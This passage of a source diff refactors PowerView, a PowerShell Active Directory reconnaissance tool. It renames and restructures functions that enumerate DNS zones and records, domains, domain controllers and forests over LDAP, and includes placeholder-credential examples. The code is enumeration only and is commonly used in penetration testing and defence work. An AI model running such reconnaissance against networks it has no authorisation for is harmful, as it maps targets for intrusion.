+ [Int]$SegmentLength = $Raw[$Index++]
+ while ($SegmentLength-- -gt 0) {
+ $Name += [Char]$Raw[$Index++]
+ }
+ $Name += "."
}
- $Name += "."
+ $Name
}
- $Name
}
- $RDataLen = [BitConverter]::ToUInt16($DNSRecord, 0)
- $RDataType = [BitConverter]::ToUInt16($DNSRecord, 2)
- $UpdatedAtSerial = [BitConverter]::ToUInt32($DNSRecord, 8)
+ PROCESS {
+ # $RDataLen = [BitConverter]::ToUInt16($DNSRecord, 0)
+ $RDataType = [BitConverter]::ToUInt16($DNSRecord, 2)
+ $UpdatedAtSerial = [BitConverter]::ToUInt32($DNSRecord, 8)
- $TTLRaw = $DNSRecord[12..15]
- # reverse for big endian
- $Null = [array]::Reverse($TTLRaw)
- $TTL = [BitConverter]::ToUInt32($TTLRaw, 0)
+ $TTLRaw = $DNSRecord[12..15]
- $Age = [BitConverter]::ToUInt32($DNSRecord, 20)
- if($Age -ne 0) {
- $TimeStamp = ((Get-Date -Year 1601 -Month 1 -Day 1 -Hour 0 -Minute 0 -Second 0).AddHours($age)).ToString()
- }
- else {
- $TimeStamp = "[static]"
- }
+ # reverse for big endian
+ $Null = [array]::Reverse($TTLRaw)
+ $TTL = [BitConverter]::ToUInt32($TTLRaw, 0)
- $DNSRecordObject = New-Object PSObject
+ $Age = [BitConverter]::ToUInt32($DNSRecord, 20)
+ if ($Age -ne 0) {
+ $TimeStamp = ((Get-Date -Year 1601 -Month 1 -Day 1 -Hour 0 -Minute 0 -Second 0).AddHours($age)).ToString()
+ }
+ else {
+ $TimeStamp = '[static]'
+ }
- if($RDataType -eq 1) {
- $IP = "{0}.{1}.{2}.{3}" -f $DNSRecord[24], $DNSRecord[25], $DNSRecord[26], $DNSRecord[27]
- $Data = $IP
- $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'A'
- }
+ $DNSRecordObject = New-Object PSObject
- elseif($RDataType -eq 2) {
- $NSName = Get-Name $DNSRecord[24..$DNSRecord.length]
- $Data = $NSName
- $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'NS'
- }
+ if ($RDataType -eq 1) {
+ $IP = "{0}.{1}.{2}.{3}" -f $DNSRecord[24], $DNSRecord[25], $DNSRecord[26], $DNSRecord[27]
+ $Data = $IP
+ $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'A'
+ }
- elseif($RDataType -eq 5) {
- $Alias = Get-Name $DNSRecord[24..$DNSRecord.length]
- $Data = $Alias
- $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'CNAME'
- }
+ elseif ($RDataType -eq 2) {
+ $NSName = Get-Name $DNSRecord[24..$DNSRecord.length]
+ $Data = $NSName
+ $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'NS'
+ }
- elseif($RDataType -eq 6) {
- # TODO: how to implement properly? nested object?
- $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
- $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SOA'
- }
+ elseif ($RDataType -eq 5) {
+ $Alias = Get-Name $DNSRecord[24..$DNSRecord.length]
+ $Data = $Alias
+ $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'CNAME'
+ }
- elseif($RDataType -eq 12) {
- $Ptr = Get-Name $DNSRecord[24..$DNSRecord.length]
- $Data = $Ptr
- $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'PTR'
- }
+ elseif ($RDataType -eq 6) {
+ # TODO: how to implement properly? nested object?
+ $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
+ $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SOA'
+ }
- elseif($RDataType -eq 13) {
- # TODO: how to implement properly? nested object?
- $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
- $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'HINFO'
- }
+ elseif ($RDataType -eq 12) {
+ $Ptr = Get-Name $DNSRecord[24..$DNSRecord.length]
+ $Data = $Ptr
+ $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'PTR'
+ }
- elseif($RDataType -eq 15) {
- # TODO: how to implement properly? nested object?
- $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
- $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'MX'
- }
+ elseif ($RDataType -eq 13) {
+ # TODO: how to implement properly? nested object?
+ $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
+ $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'HINFO'
+ }
- elseif($RDataType -eq 16) {
+ elseif ($RDataType -eq 15) {
+ # TODO: how to implement properly? nested object?
+ $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
+ $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'MX'
+ }
+
+ elseif ($RDataType -eq 16) {
+ [string]$TXT = ''
+ [int]$SegmentLength = $DNSRecord[24]
+ $Index = 25
+
+ while ($SegmentLength-- -gt 0) {
+ $TXT += [char]$DNSRecord[$index++]
+ }
- [string]$TXT = ""
- [int]$SegmentLength = $DNSRecord[24]
- $Index = 25
- while ($SegmentLength-- -gt 0) {
- $TXT += [char]$DNSRecord[$index++]
+ $Data = $TXT
+ $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'TXT'
}
- $Data = $TXT
- $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'TXT'
- }
+ elseif ($RDataType -eq 28) {
+ # TODO: how to implement properly? nested object?
+ $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
+ $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'AAAA'
+ }
- elseif($RDataType -eq 28) {
- # TODO: how to implement properly? nested object?
- $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
- $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'AAAA'
- }
+ elseif ($RDataType -eq 33) {
+ # TODO: how to implement properly? nested object?
+ $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
+ $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SRV'
+ }
- elseif($RDataType -eq 33) {
- # TODO: how to implement properly? nested object?
- $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
- $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SRV'
- }
+ else {
+ $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
+ $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'UNKNOWN'
+ }
- else {
- $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
- $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'UNKNOWN'
+ $DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial
+ $DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL
+ $DNSRecordObject | Add-Member Noteproperty 'Age' $Age
+ $DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp
+ $DNSRecordObject | Add-Member Noteproperty 'Data' $Data
+ $DNSRecordObject
}
-
- $DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial
- $DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL
- $DNSRecordObject | Add-Member Noteproperty 'Age' $Age
- $DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp
- $DNSRecordObject | Add-Member Noteproperty 'Data' $Data
- $DNSRecordObject
}
-filter Get-DNSZone {
+function Get-DomainDNSZone {
<#
- .SYNOPSIS
+.SYNOPSIS
+
+Enumerates the Active Directory DNS zones for a given domain.
+
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty
+
+.PARAMETER Domain
+
+The domain to query for zones, defaults to the current domain.
+
+.PARAMETER Server
+
+Specifies an Active Directory server (domain controller) to bind to for the search.
+
+.PARAMETER Properties
- Enumerates the Active Directory DNS zones for a given domain.
+Specifies the properties of the output object to retrieve from the server.
- .PARAMETER Domain
+.PARAMETER ResultPageSize
- The domain to query for zones, defaults to the current domain.
+Specifies the PageSize to set for the LDAP searcher object.
- .PARAMETER DomainController
+.PARAMETER ServerTimeLimit
- Domain controller to reflect LDAP queries through.
+Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
- .PARAMETER PageSize
+.PARAMETER FindOne
- The PageSize to set for the LDAP searcher object.
+Only return one result object.
- .PARAMETER Credential
+.PARAMETER Credential
- A [Management.Automation.PSCredential] object of alternate credentials
- for connection to the target domain.
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target domain.
- .PARAMETER FullData
+.EXAMPLE
- Switch. Return full computer objects instead of just system names (the default).
+Get-DomainDNSZone
- .EXAMPLE
+Retrieves the DNS zones for the current domain.
- PS C:\> Get-DNSZone
+.EXAMPLE
- Retrieves the DNS zones for the current domain.
+Get-DomainDNSZone -Domain dev.testlab.local -Server primary.testlab.local
- .EXAMPLE
+Retrieves the DNS zones for the dev.testlab.local domain, binding to primary.testlab.local.
- PS C:\> Get-DNSZone -Domain dev.testlab.local -DomainController primary.testlab.local
+.OUTPUTS
- Retrieves the DNS zones for the dev.testlab.local domain, reflecting the LDAP queries
- through the primary.testlab.local domain controller.
+PowerView.DNSZone
+
+Outputs custom PSObjects with detailed information about the DNS zone.
#>
- param(
- [Parameter(Position=0, ValueFromPipeline=$True)]
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [OutputType('PowerView.DNSZone')]
+ [CmdletBinding()]
+ Param(
+ [Parameter(Position = 0, ValueFromPipeline = $True)]
+ [ValidateNotNullOrEmpty()]
[String]
$Domain,
+ [ValidateNotNullOrEmpty()]
+ [Alias('DomainController')]
[String]
- $DomainController,
+ $Server,
- [ValidateRange(1,10000)]
+ [ValidateNotNullOrEmpty()]
+ [String[]]
+ $Properties,
+
+ [ValidateRange(1, 10000)]
[Int]
- $PageSize = 200,
+ $ResultPageSize = 200,
- [Management.Automation.PSCredential]
- $Credential,
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ServerTimeLimit,
+ [Alias('ReturnOne')]
[Switch]
- $FullData
- )
+ $FindOne,
- $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential
- $DNSSearcher.filter="(objectClass=dnsZone)"
-
- if($DNSSearcher) {
- $Results = $DNSSearcher.FindAll()
- $Results | Where-Object {$_} | ForEach-Object {
- # convert/process the LDAP fields for each result
- $Properties = Convert-LDAPProperty -Properties $_.Properties
- $Properties | Add-Member NoteProperty 'ZoneName' $Properties.name
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
+ )
- if ($FullData) {
- $Properties
+ PROCESS {
+ $SearcherArguments = @{
+ 'LDAPFilter' = '(objectClass=dnsZone)'
+ }
+ if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
+ if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
+ if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
+ if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
+ if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
+ if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
+ $DNSSearcher1 = Get-DomainSearcher @SearcherArguments
+
+ if ($DNSSearcher1) {
+ if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher1.FindOne() }
+ else { $Results = $DNSSearcher1.FindAll() }
+ $Results | Where-Object {$_} | ForEach-Object {
+ $Out = Convert-LDAPProperty -Properties $_.Properties
+ $Out | Add-Member NoteProperty 'ZoneName' $Out.name
+ $Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSZone')
+ $Out
}
- else {
- $Properties | Select-Object ZoneName,distinguishedname,whencreated,whenchanged
+
+ if ($Results) {
+ try { $Results.dispose() }
+ catch {
+ Write-Verbose "[Get-DomainDFSShare] Error disposing of the Results object: $_"
+ }
}
+ $DNSSearcher1.dispose()
}
- $Results.dispose()
- $DNSSearcher.dispose()
- }
-
- $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential -ADSprefix "CN=MicrosoftDNS,DC=DomainDnsZones"
- $DNSSearcher.filter="(objectClass=dnsZone)"
- if($DNSSearcher) {
- $Results = $DNSSearcher.FindAll()
- $Results | Where-Object {$_} | ForEach-Object {
- # convert/process the LDAP fields for each result
- $Properties = Convert-LDAPProperty -Properties $_.Properties
- $Properties | Add-Member NoteProperty 'ZoneName' $Properties.name
+ $SearcherArguments['SearchBasePrefix'] = 'CN=MicrosoftDNS,DC=DomainDnsZones'
+ $DNSSearcher2 = Get-DomainSearcher @SearcherArguments
- if ($FullData) {
- $Properties
+ if ($DNSSearcher2) {
+ try {
+ if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher2.FindOne() }
+ else { $Results = $DNSSearcher2.FindAll() }
+ $Results | Where-Object {$_} | ForEach-Object {
+ $Out = Convert-LDAPProperty -Properties $_.Properties
+ $Out | Add-Member NoteProperty 'ZoneName' $Out.name
+ $Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSZone')
+ $Out
+ }
+ if ($Results) {
+ try { $Results.dispose() }
+ catch {
+ Write-Verbose "[Get-DomainDNSZone] Error disposing of the Results object: $_"
+ }
+ }
}
- else {
- $Properties | Select-Object ZoneName,distinguishedname,whencreated,whenchanged
+ catch {
+ Write-Verbose "[Get-DomainDNSZone] Error accessing 'CN=MicrosoftDNS,DC=DomainDnsZones'"
}
+ $DNSSearcher2.dispose()
}
- $Results.dispose()
- $DNSSearcher.dispose()
}
}
-filter Get-DNSRecord {
+function Get-DomainDNSRecord {
<#
- .SYNOPSIS
+.SYNOPSIS
+
+Enumerates the Active Directory DNS records for a given zone.
+
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Convert-DNSRecord
+
+.DESCRIPTION
+
+Given a specific Active Directory DNS zone name, query for all 'dnsNode'
+LDAP entries using that zone as the search base. Return all DNS entry results
+and use Convert-DNSRecord to try to convert the binary DNS record blobs.
+
+.PARAMETER ZoneName
+
+Specifies the zone to query for records (which can be enumearted with Get-DomainDNSZone).
+
+.PARAMETER Domain
+
+The domain to query for zones, defaults to the current domain.
+
+.PARAMETER Server
- Enumerates the Active Directory DNS records for a given zone.
+Specifies an Active Directory server (domain controller) to bind to for the search.
- .PARAMETER ZoneName
+.PARAMETER Properties
- The zone to query for records (which can be enumearted with Get-DNSZone). Required.
+Specifies the properties of the output object to retrieve from the server.
- .PARAMETER Domain
+.PARAMETER ResultPageSize
- The domain to query for zones, defaults to the current domain.
+Specifies the PageSize to set for the LDAP searcher object.
- .PARAMETER DomainController
+.PARAMETER ServerTimeLimit
- Domain controller to reflect LDAP queries through.
+Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
- .PARAMETER PageSize
+.PARAMETER FindOne
- The PageSize to set for the LDAP searcher object.
+Only return one result object.
- .PARAMETER Credential
+.PARAMETER Credential
- A [Management.Automation.PSCredential] object of alternate credentials
- for connection to the target domain.
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target domain.
- .EXAMPLE
+.EXAMPLE
- PS C:\> Get-DNSRecord -ZoneName testlab.local
+Get-DomainDNSRecord -ZoneName testlab.local
- Retrieve all records for the testlab.local zone.
+Retrieve all records for the testlab.local zone.
- .EXAMPLE
+.EXAMPLE
- PS C:\> Get-DNSZone | Get-DNSRecord
+Get-DomainDNSZone | Get-DomainDNSRecord
- Retrieve all records for all zones in the current domain.
+Retrieve all records for all zones in the current domain.
- .EXAMPLE
+.EXAMPLE
- PS C:\> Get-DNSZone -Domain dev.testlab.local | Get-DNSRecord -Domain dev.testlab.local
+Get-DomainDNSZone -Domain dev.testlab.local | Get-DomainDNSRecord -Domain dev.testlab.local
- Retrieve all records for all zones in the dev.testlab.local domain.
+Retrieve all records for all zones in the dev.testlab.local domain.
+
+.OUTPUTS
+
+PowerView.DNSRecord
+
+Outputs custom PSObjects with detailed information about the DNS record entry.
#>
- param(
- [Parameter(Position=0, ValueFromPipelineByPropertyName=$True, Mandatory=$True)]
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [OutputType('PowerView.DNSRecord')]
+ [CmdletBinding()]
+ Param(
+ [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [ValidateNotNullOrEmpty()]
[String]
$ZoneName,
+ [ValidateNotNullOrEmpty()]
[String]
$Domain,
+ [ValidateNotNullOrEmpty()]
+ [Alias('DomainController')]
[String]
- $DomainController,
+ $Server,
+
+ [ValidateNotNullOrEmpty()]
+ [String[]]
+ $Properties = 'name,distinguishedname,dnsrecord,whencreated,whenchanged',
+
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ResultPageSize = 200,
- [ValidateRange(1,10000)]
+ [ValidateRange(1, 10000)]
[Int]
- $PageSize = 200,
+ $ServerTimeLimit,
+
+ [Alias('ReturnOne')]
+ [Switch]
+ $FindOne,
[Management.Automation.PSCredential]
- $Credential
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
)
- $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential -ADSprefix "DC=$($ZoneName),CN=MicrosoftDNS,DC=DomainDnsZones"
- $DNSSearcher.filter="(objectClass=dnsNode)"
+ PROCESS {
+ $SearcherArguments = @{
+ 'LDAPFilter' = '(objectClass=dnsNode)'
+ 'SearchBasePrefix' = "DC=$($ZoneName),CN=MicrosoftDNS,DC=DomainDnsZones"
+ }
+ if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
+ if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
+ if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
+ if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
+ if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
+ if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
+ $DNSSearcher = Get-DomainSearcher @SearcherArguments
+
+ if ($DNSSearcher) {
+ if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher.FindOne() }
+ else { $Results = $DNSSearcher.FindAll() }
+ $Results | Where-Object {$_} | ForEach-Object {
+ try {
+ $Out = Convert-LDAPProperty -Properties $_.Properties | Select-Object name,distinguishedname,dnsrecord,whencreated,whenchanged
+ $Out | Add-Member NoteProperty 'ZoneName' $ZoneName
- if($DNSSearcher) {
- $Results = $DNSSearcher.FindAll()
- $Results | Where-Object {$_} | ForEach-Object {
- try {
- # convert/process the LDAP fields for each result
- $Properties = Convert-LDAPProperty -Properties $_.Properties | Select-Object name,distinguishedname,dnsrecord,whencreated,whenchanged
- $Properties | Add-Member NoteProperty 'ZoneName' $ZoneName
+ # convert the record and extract the properties
+ if ($Out.dnsrecord -is [System.DirectoryServices.ResultPropertyValueCollection]) {
+ # TODO: handle multiple nested records properly?
+ $Record = Convert-DNSRecord -DNSRecord $Out.dnsrecord[0]
+ }
+ else {
+ $Record = Convert-DNSRecord -DNSRecord $Out.dnsrecord
+ }
- # convert the record and extract the properties
- if ($Properties.dnsrecord -is [System.DirectoryServices.ResultPropertyValueCollection]) {
- # TODO: handle multiple nested records properly?
- $Record = Convert-DNSRecord -DNSRecord $Properties.dnsrecord[0]
+ if ($Record) {
+ $Record.PSObject.Properties | ForEach-Object {
+ $Out | Add-Member NoteProperty $_.Name $_.Value
+ }
+ }
+
+ $Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSRecord')
+ $Out
}
- else {
- $Record = Convert-DNSRecord -DNSRecord $Properties.dnsrecord
+ catch {
+ Write-Warning "[Get-DomainDNSRecord] Error: $_"
+ $Out
}
+ }
- if($Record) {
- $Record.psobject.properties | ForEach-Object {
- $Properties | Add-Member NoteProperty $_.Name $_.Value
- }
+ if ($Results) {
+ try { $Results.dispose() }
+ catch {
+ Write-Verbose "[Get-DomainDNSRecord] Error disposing of the Results object: $_"
}
-
- $Properties
- }
- catch {
- Write-Warning "ERROR: $_"
- $Properties
}
+ $DNSSearcher.dispose()
}
- $Results.dispose()
- $DNSSearcher.dispose()
}
}
-filter Get-NetDomain {
+function Get-Domain {
<#
- .SYNOPSIS
+.SYNOPSIS
+
+Returns the domain object for the current (or specified) domain.
+
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: None
- Returns a given domain object.
+.DESCRIPTION
- .PARAMETER Domain
+Returns a System.DirectoryServices.ActiveDirectory.Domain object for the current
+domain or the domain specified with -Domain X.
- The domain name to query for, defaults to the current domain.
+.PARAMETER Domain
- .PARAMETER Credential
+Specifies the domain name to query for, defaults to the current domain.
- A [Management.Automation.PSCredential] object of alternate credentials
- for connection to the target domain.
+.PARAMETER Credential
- .EXAMPLE
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target domain.
- PS C:\> Get-NetDomain -Domain testlab.local
+.EXAMPLE
- .EXAMPLE
+Get-Domain -Domain testlab.local
- PS C:\> "testlab.local" | Get-NetDomain
+.EXAMPLE
- .LINK
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Get-Domain -Credential $Cred
- http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG
+.OUTPUTS
+
+System.DirectoryServices.ActiveDirectory.Domain
+
+A complex .NET domain object.
+
+.LINK
+
+http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG
#>
- param(
- [Parameter(ValueFromPipeline=$True)]
+ [OutputType([System.DirectoryServices.ActiveDirectory.Domain])]
+ [CmdletBinding()]
+ Param(
+ [Parameter(Position = 0, ValueFromPipeline = $True)]
+ [ValidateNotNullOrEmpty()]
[String]
$Domain,
[Management.Automation.PSCredential]
- $Credential
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
)
- if($Credential) {
-
- Write-Verbose "Using alternate credentials for Get-NetDomain"
+ PROCESS {
+ if ($PSBoundParameters['Credential']) {
+
+ Write-Verbose '[Get-Domain] Using alternate credentials for Get-Domain'
+
+ if ($PSBoundParameters['Domain']) {
+ $TargetDomain = $Domain
+ }
+ else {
+ # if no domain is supplied, extract the logon domain from the PSCredential passed
+ $TargetDomain = $Credential.GetNetworkCredential().Domain
+ Write-Verbose "[Get-Domain] Extracted domain '$TargetDomain' from -Credential"
+ }
- if(!$Domain) {
- # if no domain is supplied, extract the logon domain from the PSCredential passed
- $Domain = $Credential.GetNetworkCredential().Domain
- Write-Verbose "Extracted domain '$Domain' from -Credential"
+ $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $TargetDomain, $Credential.UserName, $Credential.GetNetworkCredential().Password)
+
+ try {
+ [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
+ }
+ catch {
+ Write-Verbose "[Get-Domain] The specified domain '$TargetDomain' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_"
+ }
}
-
- $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain, $Credential.UserName, $Credential.GetNetworkCredential().Password)
-
- try {
- [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
+ elseif ($PSBoundParameters['Domain']) {
+ $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
+ try {
+ [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
+ }
+ catch {
+ Write-Verbose "[Get-Domain] The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust : $_"
+ }
}
- catch {
- Write-Verbose "The specified domain does '$Domain' not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid."
- $Null
+ else {
+ try {
+ [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
+ }
+ catch {
+ Write-Verbose "[Get-Domain] Error retrieving the current domain: $_"
+ }
}
}
- elseif($Domain) {
- $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
- try {
- [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
+}
+
+
+function Get-DomainController {
+<#
+.SYNOPSIS
+
+Return the domain controllers for the current (or specified) domain.
+
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: Get-DomainComputer, Get-Domain
+
+.DESCRIPTION
+
+Enumerates the domain controllers for the current or specified domain.
+By default built in .NET methods are used. The -LDAP switch uses Get-DomainComputer
+to search for domain controllers.
+
+.PARAMETER Domain
+
+The domain to query for domain controllers, defaults to the current domain.
+
+.PARAMETER Server
+
+Specifies an Active Directory server (domain controller) to bind to.
+
+.PARAMETER LDAP
+
+Switch. Use LDAP queries to determine the domain controllers instead of built in .NET methods.
+
+.PARAMETER Credential
+
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target domain.
+
+.EXAMPLE
+
+Get-DomainController -Domain 'test.local'
+
+Determine the domain controllers for 'test.local'.
+
+.EXAMPLE
+
+Get-DomainController -Domain 'test.local' -LDAP
+
+Determine the domain controllers for 'test.local' using LDAP queries.
+
+.EXAMPLE
+
+'test.local' | Get-DomainController
+
+Determine the domain controllers for 'test.local'.
+
+.EXAMPLE
+
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Get-DomainController -Credential $Cred
+
+.OUTPUTS
+
+PowerView.Computer
+
+Outputs custom PSObjects with details about the enumerated domain controller if -LDAP is specified.
+
+System.DirectoryServices.ActiveDirectory.DomainController
+
+If -LDAP isn't specified.
+#>
+
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [OutputType('PowerView.Computer')]
+ [OutputType('System.DirectoryServices.ActiveDirectory.DomainController')]
+ [CmdletBinding()]
+ Param(
+ [Parameter(Position = 0, ValueFromPipeline = $True)]
+ [String]
+ $Domain,
+
+ [ValidateNotNullOrEmpty()]
+ [Alias('DomainController')]
+ [String]
+ $Server,
+
+ [Switch]
+ $LDAP,
+
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
+ )
+
+ PROCESS {
+ $Arguments = @{}
+ if ($PSBoundParameters['Domain']) { $Arguments['Domain'] = $Domain }
+ if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential }
+
+ if ($PSBoundParameters['LDAP'] -or $PSBoundParameters['Server']) {
+ if ($PSBoundParameters['Server']) { $Arguments['Server'] = $Server }
+
+ # UAC specification for domain controllers
+ $Arguments['LDAPFilter'] = '(userAccountControl:1.2.840.113556.1.4.803:=8192)'
+
+ Get-DomainComputer @Arguments
}
- catch {
- Write-Verbose "The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust."
- $Null
+ else {
+ $FoundDomain = Get-Domain @Arguments
+ if ($FoundDomain) {
+ $FoundDomain.DomainControllers
+ }
}
}
- else {
- [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
- }
}
-filter Get-NetForest {
+function Get-Forest {
<#
- .SYNOPSIS
+.SYNOPSIS
+
+Returns the forest object for the current (or specified) forest.
+
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: ConvertTo-SID
+
+.DESCRIPTION
- Returns a given forest object.
+Returns a System.DirectoryServices.ActiveDirectory.Forest object for the current
+forest or the forest specified with -Forest X.
- .PARAMETER Forest
+.PARAMETER Forest
- The forest name to query for, defaults to the current domain.
+The forest name to query for, defaults to the current forest.
- .PARAMETER Credential
+.PARAMETER Credential
- A [Management.Automation.PSCredential] object of alternate credentials
- for connection to the target domain.
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target forest.
- .EXAMPLE
-
- PS C:\> Get-NetForest -Forest external.domain
+.EXAMPLE
- .EXAMPLE
-
- PS C:\> "external.domain" | Get-NetForest
+Get-Forest -Forest external.domain
+
+.EXAMPLE
+
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Get-Forest -Credential $Cred
+
+.OUTPUTS
+
+System.Management.Automation.PSCustomObject
+
+Outputs a PSObject containing System.DirectoryServices.ActiveDirectory.Forest in addition
+to the forest root domain SID.
#>
- param(
- [Parameter(ValueFromPipeline=$True)]
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [OutputType('System.Management.Automation.PSCustomObject')]
+ [CmdletBinding()]
+ Param(
+ [Parameter(Position = 0, ValueFromPipeline = $True)]
+ [ValidateNotNullOrEmpty()]
[String]
$Forest,
[Management.Automation.PSCredential]
- $Credential
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
)
- if($Credential) {
-
